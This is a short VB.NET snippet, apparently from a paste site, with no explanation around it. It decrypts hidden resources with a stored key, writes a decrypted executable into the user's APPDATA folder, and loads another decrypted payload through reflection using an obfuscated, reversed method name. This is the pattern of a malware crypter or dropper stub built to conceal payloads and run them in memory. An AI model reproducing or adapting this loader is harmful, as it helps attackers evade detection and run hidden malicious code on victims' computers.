14 lines
579 B
Plaintext
14 lines
579 B
Plaintext
Dim N As String = RijndaelDecrypt(R.GetObject("NM"),R.GetObject("K"))
|
|
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
|
If IO.File.Exists(I) Then
|
|
IO.File.Delete(I)
|
|
End If
|
|
Dim II As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("I"), _
|
|
R.GetObject("K")))
|
|
Try
|
|
My.Computer.FileSystem.WriteAllBytes(I, II, False)
|
|
Catch
|
|
End Try
|
|
Dim III As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("F"), _
|
|
R.GetObject("K")))
|
|
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I}) |